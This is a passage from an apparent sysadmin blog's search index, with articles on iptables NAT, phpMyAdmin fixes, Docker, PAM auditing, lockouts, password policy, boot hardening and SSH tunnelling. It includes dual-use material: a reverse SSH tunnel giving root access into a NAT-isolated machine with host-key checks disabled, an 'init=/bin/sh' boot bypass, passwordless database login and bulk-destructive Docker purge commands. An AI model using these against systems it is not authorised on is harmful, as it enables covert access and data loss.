data-lang=\"text\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eClient [198.51.100.12] ──► Gateway [203.0.113.30] ──► Backend [192.0.2.84]\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"step-1-destination-nat-in-prerouting\"\u003eStep 1: Destination NAT in PREROUTING\u003c/h4\u003e\n\u003cp\u003eIntercept incoming packets destined for our gateway and rewrite the destination IP before routing lookup occurs:\u003c/p\u003e","title":"Advanced iptables: PREROUTING and POSTROUTING with DNAT and SNAT"},{"content":"When navigating through phpMyAdmin, you may encounter the following error:\n#1146 - Table \u0026#39;phpmyadmin.pma_tracking\u0026#39; doesn\u0026#39;t exist Figure 1: Missing internal configuration storage tables in phpMyAdmin.\nThis error indicates that phpMyAdmin\u0026rsquo;s internal metadata and configuration storage database (phpmyadmin) was either skipped during initial package installation or failed to execute its SQL initialization scripts.\nSolution 1: Reconfigure via dpkg-reconfigure (Recommended) On Debian and Ubuntu systems, the cleanest method to repair the metadata database is using dbconfig-common via dpkg-reconfigure:\nsudo dpkg-reconfigure phpmyadmin Figure 2: Prompting dbconfig-common to recreate the database.\nSelect Yes when prompted to configure the database for phpmyadmin with dbconfig-common. Provide the MySQL administrative password to grant setup permissions. Choose a password for the internal phpmyadmin database user (or leave blank for an automatically generated string). Solution 2: Manual SQL Script Import If you installed phpMyAdmin manually or prefer to provision the required schema by hand:\nLocate the default schema creation script provided by phpMyAdmin: # Common paths for create_tables.sql: /usr/share/doc/phpmyadmin/examples/create_tables.sql.gz # or /usr/share/phpmyadmin/sql/create_tables.sql Decompress and import the SQL schema into your MySQL server: zcat /usr/share/doc/phpmyadmin/examples/create_tables.sql.gz | mysql -u root -p Ensure /etc/phpmyadmin/config.inc.php has the tracking table configured: $cfg[\u0026#39;Servers\u0026#39;][$i][\u0026#39;tracking\u0026#39;] = \u0026#39;pma__tracking\u0026#39;; Log out and back in to phpMyAdmin; the tracking table error will be resolved.\n","permalink":"/phpmyadmin-error-1146-table-phpmyadmin-pma_tracking-doesnt-exist/","summary":"\u003cp\u003eWhen navigating through phpMyAdmin, you may encounter the following error:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e#1146 - Table \u0026#39;phpmyadmin.pma_tracking\u0026#39; doesn\u0026#39;t exist\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cimg alt=\"phpMyAdmin error 1146\" loading=\"lazy\" src=\"/uploads/2016/06/Screen-Shot-2016-06-26-at-1.21.13-PM.png\"\u003e\n\u003cem\u003eFigure 1: Missing internal configuration storage tables in phpMyAdmin.\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003eThis error indicates that phpMyAdmin\u0026rsquo;s internal metadata and configuration storage database (\u003ccode\u003ephpmyadmin\u003c/code\u003e) was either skipped during initial package installation or failed to execute its SQL initialization scripts.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"solution-1-reconfigure-via-dpkg-reconfigure-recommended\"\u003eSolution 1: Reconfigure via \u003ccode\u003edpkg-reconfigure\u003c/code\u003e (Recommended)\u003c/h2\u003e\n\u003cp\u003eOn Debian and Ubuntu systems, the cleanest method to repair the metadata database is using \u003ccode\u003edbconfig-common\u003c/code\u003e via \u003ccode\u003edpkg-reconfigure\u003c/code\u003e:\u003c/p\u003e","title":"Fixing phpMyAdmin Error #1146: Table 'phpmyadmin.pma_tracking' Doesn't Exist"},{"content":"When configuring a local development environment (such as on a virtual machine or local development container) where MySQL root has an empty password, phpMyAdmin blocks authentication attempts by default with the following error:\nLogin without a password is forbidden by configuration (see AllowNoPassword) This security safeguard prevents accidental deployment of passwordless database instances in publicly accessible environments.\nEnabling Empty Passwords in config.inc.php To enable passwordless authentication for local sandbox testing, modify the phpMyAdmin configuration file:\nsudo nano /etc/phpmyadmin/config.inc.php Locate the AllowNoPassword directive within the server connection settings block (around line 96 in standard Debian/Ubuntu installations):\n/* $cfg[\u0026#39;Servers\u0026#39;][$i][\u0026#39;AllowNoPassword\u0026#39;] = TRUE; */ Uncomment the line by removing the comment markers:\n$cfg[\u0026#39;Servers\u0026#39;][$i][\u0026#39;AllowNoPassword\u0026#39;] = TRUE; Save the file and exit the editor. You can now authenticate immediately to phpMyAdmin using username root with the password field left empty.\n[!CAUTION] Never enable AllowNoPassword on internet-facing servers or production infrastructure. Restrict this configuration exclusively to isolated local development sandboxes.\n","permalink":"/phpmyadmin-no-password-dev-env/","summary":"\u003cp\u003eWhen configuring a local development environment (such as on a virtual machine or local development container) where MySQL \u003ccode\u003eroot\u003c/code\u003e has an empty password, phpMyAdmin blocks authentication attempts by default with the following error:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLogin without a password is forbidden by configuration (see AllowNoPassword)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThis security safeguard prevents accidental deployment of passwordless database instances in publicly accessible environments.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"enabling-empty-passwords-in-configincphp\"\u003eEnabling Empty Passwords in \u003ccode\u003econfig.inc.php\u003c/code\u003e\u003c/h2\u003e\n\u003cp\u003eTo enable passwordless authentication for local sandbox testing, modify the phpMyAdmin configuration file:\u003c/p\u003e","title":"Enabling Passwordless Login in phpMyAdmin for Local Development"},{"content":"When configuring legacy PHP environments on Ubuntu Server and attempting to activate the mcrypt cryptographic module, administrators may encounter symlink collision warnings.\nThe Error Condition After installing the extension packages:\nsudo apt-get install mcrypt php5-mcrypt Attempting to register the module via php5enmod produces the following error:\nroot@ubuntu:~# php5enmod mcrypt WARNING: Not enabling the mcrypt module for apache2 SAPI since module symlink WARNING: already exists in /etc/php5/apache2/conf.d with different content. WARNING: Not enabling the mcrypt module for cli SAPI since module symlink WARNING: already exists in /etc/php5/cli/conf.d with different content. This error occurs when old or stale configuration symlinks pointing to prior configuration targets exist in the SAPI configuration directories (/etc/php5/apache2/conf.d/ and /etc/php5/cli/conf.d/), preventing the package manager from linking the canonical /etc/php5/mods-available/mcrypt.ini.\nResolution Remove the stale symlinks from the active SAPI configuration directories: sudo unlink /etc/php5/apache2/conf.d/20-mcrypt.ini sudo unlink /etc/php5/cli/conf.d/20-mcrypt.ini Re-enable the module cleanly across all SAPIs: sudo php5enmod mcrypt Restart Apache to apply the module to the web runtime: sudo service apache2 restart Verify that mcrypt is loaded by querying the CLI runtime:\nphp -m | grep -i mcrypt ","permalink":"/fix-mcrypt-warning-ubuntu-server/","summary":"\u003cp\u003eWhen configuring legacy PHP environments on Ubuntu Server and attempting to activate the \u003ccode\u003emcrypt\u003c/code\u003e cryptographic module, administrators may encounter symlink collision warnings.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"the-error-condition\"\u003eThe Error Condition\u003c/h2\u003e\n\u003cp\u003eAfter installing the extension packages:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo apt-get install mcrypt php5-mcrypt\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAttempting to register the module via \u003ccode\u003ephp5enmod\u003c/code\u003e produces the following error:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot@ubuntu:~# php5enmod mcrypt\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWARNING: Not enabling the mcrypt module for apache2 SAPI since module symlink\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWARNING: already exists in /etc/php5/apache2/conf.d with different content.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWARNING: Not enabling the mcrypt module for cli SAPI since module symlink\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWARNING: already exists in /etc/php5/cli/conf.d with different content.\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThis error occurs when old or stale configuration symlinks pointing to prior configuration targets exist in the SAPI configuration directories (\u003ccode\u003e/etc/php5/apache2/conf.d/\u003c/code\u003e and \u003ccode\u003e/etc/php5/cli/conf.d/\u003c/code\u003e), preventing the package manager from linking the canonical \u003ccode\u003e/etc/php5/mods-available/mcrypt.ini\u003c/code\u003e.\u003c/p\u003e","title":"Resolving PHP Mcrypt Extension Symlink Conflicts on Ubuntu Server"},{"content":"Unlike traditional Type-1 and Type-2 hypervisors that virtualize complete hardware stacks and boot independent operating system kernels, containers share the host Linux kernel while isolating processes using kernel Namespaces (PID, NET, IPC, MNT, UTS) and Control Groups (cgroups).\nDocker packages application dependencies, libraries, and runtime binaries into lightweight, immutable container images.\nCore Architecture Docker operates under a client-server model:\nDocker Client (docker): The CLI tool you execute to issue commands. Docker Daemon (dockerd): The background daemon listening for API requests to manage images, containers, networks, and storage volumes. Docker Registry: Public (Docker Hub) or private image repositories. A container lifecycle is tied directly to its primary foreground process (PID 1). When that process exits, the container stops.\nBasic Container Operations 1. Running Ephemeral Commands When you run a container, Docker pulls the image layers if not cached locally, creates an isolated overlay filesystem, and executes the target process:\ndocker run --rm ubuntu uname -a # Linux 4a27417f50b9 5.15.0-generic ... x86_64 GNU/Linux --rm automatically removes the container\u0026rsquo;s writable filesystem layer upon exit.\n2. Interactive Terminal (-i -t) To enter an interactive shell inside a container:\ndocker run -it ubuntu /bin/bash -i (--interactive): Keeps standard input (STDIN) open. -t (--tty): Allocates a pseudo-TTY terminal. 3. Detached Background Services (-d) \u0026amp; Port Mapping (-p) For daemonized services (e.g., Nginx web server):\ndocker run -d --name webserver -p 8080:80 nginx:alpine -d (--detach): Runs the container in the background. -p 8080:80: Binds host port 8080 to container port 80. Verify running containers:\ndocker ps # CONTAINER ID IMAGE COMMAND PORTS NAMES # 1c0c6bc0c34f nginx:alpine \u0026#34;/docker-entrypoint.…\u0026#34; 0.0.0.0:8080-\u0026gt;80/tcp webserver Building and Committing Images While production workloads should always be declared via Dockerfile, you can snapshot the filesystem state of a running or modified container into a reusable image using docker commit:\nInstall tools inside an active container:\ndocker run -it --name dev-box ubuntu /bin/bash apt-get update \u0026amp;\u0026amp; apt-get install -y python3 git exit Commit container modifications to a new tagged image:\ndocker commit -m \u0026#34;Added Python3 and Git\u0026#34; dev-box custom-python:1.0 Verify the new local image:\ndocker images # REPOSITORY TAG IMAGE ID SIZE # custom-python 1.0 3c7881fe969f 145MB Launch containers directly from your custom image:\ndocker run -it custom-python:1.0 python3 --version Maintenance \u0026amp; Cleanup Commands To remove stopped containers, unused networks, and dangling image layers:\n# Remove all stopped containers docker container prune -f # Forcefully remove all stopped and running containers docker rm -f $(docker ps -aq) # System-wide purge of unused Docker data (containers, networks, images) docker system prune -a --volumes ","permalink":"/docker-crash-course/","summary":"\u003cp\u003eUnlike traditional Type-1 and Type-2 hypervisors that virtualize complete hardware stacks and boot independent operating system kernels, \u003cstrong\u003econtainers\u003c/strong\u003e share the host Linux kernel while isolating processes using kernel \u003cstrong\u003eNamespaces\u003c/strong\u003e (PID, NET, IPC, MNT, UTS) and \u003cstrong\u003eControl Groups (cgroups)\u003c/strong\u003e.\u003c/p\u003e\n\u003cp\u003eDocker packages application dependencies, libraries, and runtime binaries into lightweight, immutable container images.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"core-architecture\"\u003eCore Architecture\u003c/h3\u003e\n\u003cp\u003eDocker operates under a client-server model:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eDocker Client (\u003ccode\u003edocker\u003c/code\u003e)\u003c/strong\u003e: The CLI tool you execute to issue commands.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDocker Daemon (\u003ccode\u003edockerd\u003c/code\u003e)\u003c/strong\u003e: The background daemon listening for API requests to manage images, containers, networks, and storage volumes.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDocker Registry\u003c/strong\u003e: Public (Docker Hub) or private image repositories.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eA container lifecycle is tied directly to its primary foreground process (\u003ccode\u003ePID 1\u003c/code\u003e). When that process exits, the container stops.\u003c/p\u003e","title":"Docker Architecture and Container Operations Crash Course"},{"content":"Relying on standard shell history (~/.bash_history) for security auditing is fundamentally flawed: users can unset HISTFILE, launch sessions inside screen/tmux, prepend commands with spaces, or delete history files before logout.\nTo reliably monitor user commands at the kernel level, Linux provides the pam_tty_audit PAM module. This module enables TTY input logging directly through the Linux Audit daemon (auditd), capturing keystrokes before the shell receives them.\nModule Parameters pam_tty_audit.so supports three key arguments:\nenable=\u0026lt;users\u0026gt;: Comma-separated list or glob pattern of users to audit. disable=\u0026lt;users\u0026gt;: Comma-separated list or glob pattern of users to exclude (e.g., disable=* to disable by default). open_only: Prevents recording keystrokes when passwords or non-echoing prompts are active. Configuration: Auditing SSH Sessions To audit all interactive commands executed over SSH by specific accounts (such as root and privileged operators):\nEdit the SSH PAM configuration (/etc/pam.d/sshd):\nsudo vim /etc/pam.d/sshd Append the session directive at the end of the file:\nsession required pam_tty_audit.so open_only disable=* enable=root,admin,tester Ensure the audit daemon is active:\nsudo systemctl enable --now auditd Reviewing Captured Keystrokes To review keystrokes captured across all audited TTY sessions, use aureport:\nsudo aureport --tty Example Output: TTY Report =============================================== # date time tid comm data =============================================== 1. 10/07/2015 17:39:08 287 0 ? 18 bash \u0026#34;top\u0026#34;,\u0026lt;ret\u0026gt; 2. 10/07/2015 17:39:09 289 0 ? 18 bash \u0026#34;ps\u0026#34;,\u0026lt;ret\u0026gt; 3. 10/07/2015 17:39:11 291 0 ? 18 bash \u0026#34;ps awxf\u0026#34;,\u0026lt;ret\u0026gt; 4. 10/07/2015 17:40:30 299 0 ? 18 bash \u0026#34;exit\u0026#34;,\u0026lt;ret\u0026gt; 5. 10/07/2015 17:56:03 550 500 ? 28 bash \u0026#34;screen -r x\u0026#34;,\u0026lt;ret\u0026gt;,\u0026#34;screen -dmS x\u0026#34;,\u0026lt;ret\u0026gt;,\u0026#34;screen -r x\u0026#34;,\u0026lt;ret\u0026gt;,\u0026lt;^D\u0026gt; 6. 10/07/2015 17:57:38 576 500 ? 29 bash \u0026#34;echo 100 \u0026gt; /dev/null\u0026#34;,\u0026lt;ret\u0026gt; Each log entry records:\nTimestamp \u0026amp; UID: e.g., UID 0 (root), UID 500 (tester). Terminal PID \u0026amp; Shell: The process context handling input. Exact keystroke sequence: Complete commands including control characters (\u0026lt;ret\u0026gt;, ^D). ","permalink":"/audit-keystrokes-with-pam/","summary":"\u003cp\u003eRelying on standard shell history (\u003ccode\u003e~/.bash_history\u003c/code\u003e) for security auditing is fundamentally flawed: users can unset \u003ccode\u003eHISTFILE\u003c/code\u003e, launch sessions inside \u003ccode\u003escreen\u003c/code\u003e/\u003ccode\u003etmux\u003c/code\u003e, prepend commands with spaces, or delete history files before logout.\u003c/p\u003e\n\u003cp\u003eTo reliably monitor user commands at the kernel level, Linux provides the \u003ccode\u003epam_tty_audit\u003c/code\u003e PAM module. This module enables TTY input logging directly through the Linux Audit daemon (\u003ccode\u003eauditd\u003c/code\u003e), capturing keystrokes before the shell receives them.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"module-parameters\"\u003eModule Parameters\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003epam_tty_audit.so\u003c/code\u003e supports three key arguments:\u003c/p\u003e","title":"Auditing User Keystrokes with pam_tty_audit and Linux Auditd"},{"content":"Physical access to a Linux machine often guarantees total system compromise if boot configurations remain unhardened. By default, anyone with physical or KVM console access can interrupt the GRUB bootloader, append single, init=/bin/sh, or emergency to the kernel arguments, and bypass authentication into a root shell.\nSecuring the boot process requires hardening three independent layers:\nPassword-protecting the GRUB bootloader Requiring authentication for single-user/emergency mode Disabling interactive startup prompts and console reboot hotkeys 1. Password-Protecting Single-User Mode (sulogin) In legacy SysVinit/Upstart configurations (/etc/sysconfig/init):\n# Default may allow unauthenticated root access via sushell: # SINGLE=/sbin/sushell # Change to sulogin to mandate root password verification: SINGLE=/sbin/sulogin On modern systemd distributions (RHEL 7/8/9, Ubuntu 18.04+), emergency and rescue targets invoke /usr/lib/systemd/systemd-sulogin-shell by default. Verify that root authentication is enforced before spawning maintenance shells:\n# Check emergency service definition systemctl cat emergency.service | grep ExecStart # ExecStart=-/usr/lib/systemd/systemd-sulogin-shell emergency When someone triggers maintenance mode, the console demands root credentials before granting shell access:\nGive root password for maintenance (or type Control-D to continue): 2. Password-Protecting the GRUB2 Bootloader Protecting the bootloader prevents unauthorized users from modifying kernel parameters or choosing alternate kernels without authentication:\nGenerate an encrypted PBKDF2 password hash:\ngrub2-setpassword # (Or: grub-mkpasswd-pbkdf2) This stores the cryptographic hash in /boot/grub2/user.cfg.\nDefine an authorized superuser in /etc/grub.d/01_users:\ncat \u0026lt;\u0026lt;EOF \u0026gt;\u0026gt; /etc/grub.d/01_users set superusers=\u0026#34;admin\u0026#34; password_pbkdf2 admin grub.pbkdf2.sha512... EOF Rebuild the GRUB configuration:\n# BIOS: sudo grub2-mkconfig -o /boot/grub2/grub.cfg # UEFI: sudo grub2-mkconfig -o /boot/efi/EFI/redhat/grub.cfg Users can still boot standard kernels normally, but pressing e to edit parameters requires the admin password.\n3. Disabling Interactive Startup (PROMPT=no) During legacy startup sequences, pressing i initiates interactive startup, allowing anyone at the console to selectively bypass system services (including the firewall / iptables):\nDisable this prompt in /etc/sysconfig/init:\nPROMPT=no 4. Disabling Console Ctrl+Alt+Delete Reboots Prevent malicious or accidental console keystrokes from rebooting the server:\nOn systemd: Mask the target responsible for handling the interrupt:\nsudo systemctl mask ctrl-alt-del.target On Upstart: Override /etc/init/control-alt-delete.override:\necho \u0026#34;exec /usr/bin/logger -p authpriv.warning \u0026#39;Ctrl-Alt-Delete pressed at console; reboot blocked.\u0026#39;\u0026#34; | sudo tee /etc/init/control-alt-delete.override ","permalink":"/protect-bootsingle-user-mode/","summary":"\u003cp\u003ePhysical access to a Linux machine often guarantees total system compromise if boot configurations remain unhardened. By default, anyone with physical or KVM console access can interrupt the GRUB bootloader, append \u003ccode\u003esingle\u003c/code\u003e, \u003ccode\u003einit=/bin/sh\u003c/code\u003e, or \u003ccode\u003eemergency\u003c/code\u003e to the kernel arguments, and bypass authentication into a root shell.\u003c/p\u003e\n\u003cp\u003eSecuring the boot process requires hardening three independent layers:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003ePassword-protecting the GRUB bootloader\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRequiring authentication for single-user/emergency mode\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDisabling interactive startup prompts and console reboot hotkeys\u003c/strong\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003chr\u003e\n\u003ch3 id=\"1-password-protecting-single-user-mode-sulogin\"\u003e1. Password-Protecting Single-User Mode (\u003ccode\u003esulogin\u003c/code\u003e)\u003c/h3\u003e\n\u003cp\u003eIn legacy SysVinit/Upstart configurations (\u003ccode\u003e/etc/sysconfig/init\u003c/code\u003e):\u003c/p\u003e","title":"Hardening Linux Boot: Securing GRUB, Single-User Mode, and Console Hotkeys"},{"content":"SSH is far more than an encrypted remote terminal—it is an extensible transport protocol capable of encapsulating arbitrary TCP traffic across segmented network boundaries, NAT gateways, and restrictive firewalls.\nHere is how to leverage Dynamic, Local, and Remote Reverse SSH tunnels.\n1. Dynamic Port Forwarding (-D): SOCKS Proxy Dynamic port forwarding turns your SSH client into a local SOCKS5 proxy server. Any application configured to use this proxy routes its network requests through the remote SSH host.\nssh -D 1080 -q -C -N user@remote.corp -D 1080: Binds local SOCKS proxy on 127.0.0.1:1080. -q: Quiet mode. -C: Enables stream compression. -N: Do not execute a remote command (tunneling only). Configure your browser, curl, or proxychains to point to socks5://127.0.0.1:1080 to browse internal networks visible only to the remote server.\n2. Local Port Forwarding (-L): Accessing Internal Services Local port forwarding maps a local port on your machine directly to a remote destination accessible from the SSH jump server:\n# Syntax: ssh -L [local_port]:[target_destination]:[target_port] [jump_host] ssh -L 8080:192.168.1.50:80 user@jump.corp Connecting to http://localhost:8080 on your browser transparently forwards packets through jump.corp to 192.168.1.50:80.\n3. Remote Reverse Port Forwarding (-R): Punching Inbound through NAT What if a target machine sits behind a strict NAT firewall with no public IP, and you need to connect back to its SSH service?\nHave the internal machine initiate a reverse tunnel to your external control server (external.corp):\n# Executed on the internal/client machine: ssh -f -N -R 9932:127.0.0.1:22 operator@external.corp -R 9932:127.0.0.1:22: Instructs external.corp to listen on port 9932 and forward all incoming connections back through the established SSH channel to the client\u0026rsquo;s local port 22. -f: Backgrounds the SSH process before command execution. Now, on your control server (external.corp), you can connect directly into the internal machine:\nssh -p 9932 -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no root@127.0.0.1 You are now logged into the internal NAT-isolated system.\n","permalink":"/ssh-tunnelling/","summary":"\u003cp\u003eSSH is far more than an encrypted remote terminal—it is an extensible transport protocol capable of encapsulating arbitrary TCP traffic across segmented network boundaries, NAT gateways, and restrictive firewalls.\u003c/p\u003e\n\u003cp\u003eHere is how to leverage \u003cstrong\u003eDynamic\u003c/strong\u003e, \u003cstrong\u003eLocal\u003c/strong\u003e, and \u003cstrong\u003eRemote Reverse\u003c/strong\u003e SSH tunnels.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"1-dynamic-port-forwarding--d-socks-proxy\"\u003e1. Dynamic Port Forwarding (\u003ccode\u003e-D\u003c/code\u003e): SOCKS Proxy\u003c/h3\u003e\n\u003cp\u003eDynamic port forwarding turns your SSH client into a local SOCKS5 proxy server. Any application configured to use this proxy routes its network requests through the remote SSH host.\u003c/p\u003e","title":"Mastering SSH Port Forwarding: Local, Remote, and Dynamic SOCKS Proxies"},{"content":"Unthrottled authentication services are susceptible to online credential brute forcing and password spraying attacks. While tools like fail2ban monitor application logs to block IP addresses at the firewall layer, PAM modules enforce account lockouts at the OS level across all authentication entry points (SSH, TTY consoles, display managers, and su).\nHistorically handled by pam_tally2 (and superseded in RHEL 8+ / Debian 11+ by pam_faillock), this module tracks failed attempts and locks accounts for a specified duration.\nKey Configuration Parameters Parameter Purpose Example deny=\u0026lt;N\u0026gt; Lock account after N failed attempts deny=5 unlock_time=\u0026lt;seconds\u0026gt; Duration before account automatically unlocks unlock_time=900 (15 mins) even_deny_root Apply lockout policy to the root user Included root_unlock_time=\u0026lt;seconds\u0026gt; Dedicated unlock duration for root root_unlock_time=300 (5 mins) Warning: When using even_deny_root, ensure root_unlock_time is configured to avoid permanent denial-of-service on local consoles.\nConfiguring PAM Stacks Account lockout requires directives in two separate PAM management groups:\nauth: Increments the failure counter when authentication fails, or resets it upon success. account: Checks if the failure count exceeds deny and refuses access before verifying other credentials. 1. Local TTY Logins (/etc/pam.d/system-auth) auth required pam_env.so auth required pam_tally2.so deny=5 unlock_time=900 even_deny_root root_unlock_time=300 auth sufficient pam_unix.so nullok try_first_pass auth required pam_deny.so account required pam_tally2.so account required pam_unix.so account required pam_permit.so 2. Remote SSH Logins (/etc/pam.d/password-auth) Mirror the configuration in /etc/pam.d/password-auth to ensure remote SSH sessions are constrained by the same lockout counters:\nauth required pam_tally2.so deny=5 unlock_time=900 even_deny_root root_unlock_time=300 account required pam_tally2.so Audit Logs in /var/log/secure When an account exceeds the threshold, PAM logs the lockout event and refuses connection:\nAug 5 02:09:53 centos-6 login: pam_tally2(login:auth): user operator (1001) tally 6, deny 5 Aug 5 02:13:37 centos-6 sshd[12921]: pam_tally2(sshd:auth): user operator (1001) tally 7, deny 5 Monitoring and Resetting Locked Accounts Administrators can inspect and reset lockout tallies using the pam_tally2 utility:\nView current failed login tallies: sudo pam_tally2 # Login Failures Latest failure From # operator 6 08/05/26 02:11:45 192.168.72.1 Inspect a specific user: sudo pam_tally2 -u operator Manually unlock and reset an account counter: sudo pam_tally2 -u operator --reset (On modern systems running pam_faillock, use faillock --user operator --reset).\n","permalink":"/securelock-accounts-with-pam-tally2/","summary":"\u003cp\u003eUnthrottled authentication services are susceptible to online credential brute forcing and password spraying attacks. While tools like \u003ccode\u003efail2ban\u003c/code\u003e monitor application logs to block IP addresses at the firewall layer, PAM modules enforce account lockouts at the OS level across all authentication entry points (SSH, TTY consoles, display managers, and \u003ccode\u003esu\u003c/code\u003e).\u003c/p\u003e\n\u003cp\u003eHistorically handled by \u003ccode\u003epam_tally2\u003c/code\u003e (and superseded in RHEL 8+ / Debian 11+ by \u003ccode\u003epam_faillock\u003c/code\u003e), this module tracks failed attempts and locks accounts for a specified duration.\u003c/p\u003e","title":"Account Lockout on Failed Logins with pam_tally2 / pam_faillock"},{"content":"Weak passwords remain one of the most common vectors for initial access and lateral movement in enterprise Linux environments. By default, many Linux distributions enforce minimal password complexity rules.\nThe pam_cracklib module (and its modern successor pam_pwquality) provides password strength checks by testing proposed passwords against dictionary wordlists, entropy requirements, and complexity rules.\nKey Configuration Parameters Understanding the parameter syntax:\nPositive credits (e.g., dcredit=1): Bonus characters that reduce the required total length. Negative credits (e.g., dcredit=-1): Strict minimum requirements (must contain at least that number of characters). Parameter Function Recommended Setting minlen=12 Minimum total characters required 12 or higher dcredit=-1 Minimum number of digits required -1 ucredit=-1 Minimum uppercase characters required -1 lcredit=-1 Minimum lowercase characters required -1 ocredit=-1 Minimum special/punctuation symbols required -1 maxrepeat=2 Maximum consecutive repeated characters 2 reject_username Forbids passwords containing the username Included enforce_for_root Enforces the policy on the root account Crucial dictpath=\u0026lt;path\u0026gt; Custom wordlist path for dictionary checks e.g., /usr/share/dict/words Step 1: Configuring PAM Password Policy In Red Hat, CentOS, and Debian/Ubuntu derivatives, password policies are typically applied in /etc/pam.d/system-auth (RHEL/CentOS) or /etc/pam.d/common-password (Debian/Ubuntu):\n# Example /etc/pam.d/system-auth password required pam_cracklib.so try_first_pass retry=3 minlen=12 dcredit=-1 ucredit=-1 ocredit=-1 lcredit=-1 reject_username enforce_for_root When users attempt to set a non-compliant password, PAM immediately rejects the update with specific feedback:\nBAD PASSWORD: is too similar to the old one BAD PASSWORD: it is based on a dictionary word BAD PASSWORD: it is based on a (reversed) dictionary word BAD PASSWORD: it does not contain enough DIFFERENT characters BAD PASSWORD: it is too short Step 2: Enforcing Immediate Password Resets on Next Login To immediately enforce the new policy across all interactive users on the system, set their password expiration date to zero using chage:\n# Expire passwords for all users with an interactive shell (excluding system accounts) for user in $(awk -F: \u0026#39;$7 ~ /(bash|sh|zsh)$/ \u0026amp;\u0026amp; $1 != \u0026#34;root\u0026#34; { print $1 }\u0026#39; /etc/passwd); do sudo chage -d 0 \u0026#34;$user\u0026#34; done User Experience upon Next Login: $ ssh operator@target.corp operator@target.corp\u0026#39;s password: WARNING: Your password has expired. You must change your password now and login again! Changing password for user operator. (current) UNIX password: New password: Retype new password: passwd: all authentication tokens updated successfully. Connection to target.corp closed. The user is forced to choose a new password meeting the pam_cracklib complexity standard before obtaining an interactive shell.\n","permalink":"/password-policy-with-pam_cracklib/","summary":"\u003cp\u003eWeak passwords remain one of the most common vectors for initial access and lateral movement in enterprise Linux environments. By default, many Linux distributions enforce minimal password complexity rules.\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003epam_cracklib\u003c/code\u003e module (and its modern successor \u003ccode\u003epam_pwquality\u003c/code\u003e) provides password strength checks by testing proposed passwords against dictionary wordlists, entropy requirements, and complexity rules.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"key-configuration-parameters\"\u003eKey Configuration Parameters\u003c/h3\u003e\n\u003cp\u003eUnderstanding the parameter syntax:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePositive credits (e.g., \u003ccode\u003edcredit=1\u003c/code\u003e): Bonus characters that reduce the required total length.\u003c/li\u003e\n\u003cli\u003eNegative credits (e.g., \u003ccode\u003edcredit=-1\u003c/code\u003e): \u003cstrong\u003eStrict minimum requirements\u003c/strong\u003e (must contain at least that number of characters).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ctable\u003e\n\t\u003cthead\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003eParameter\u003c/th\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003eFunction\u003c/th\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003eRecommended 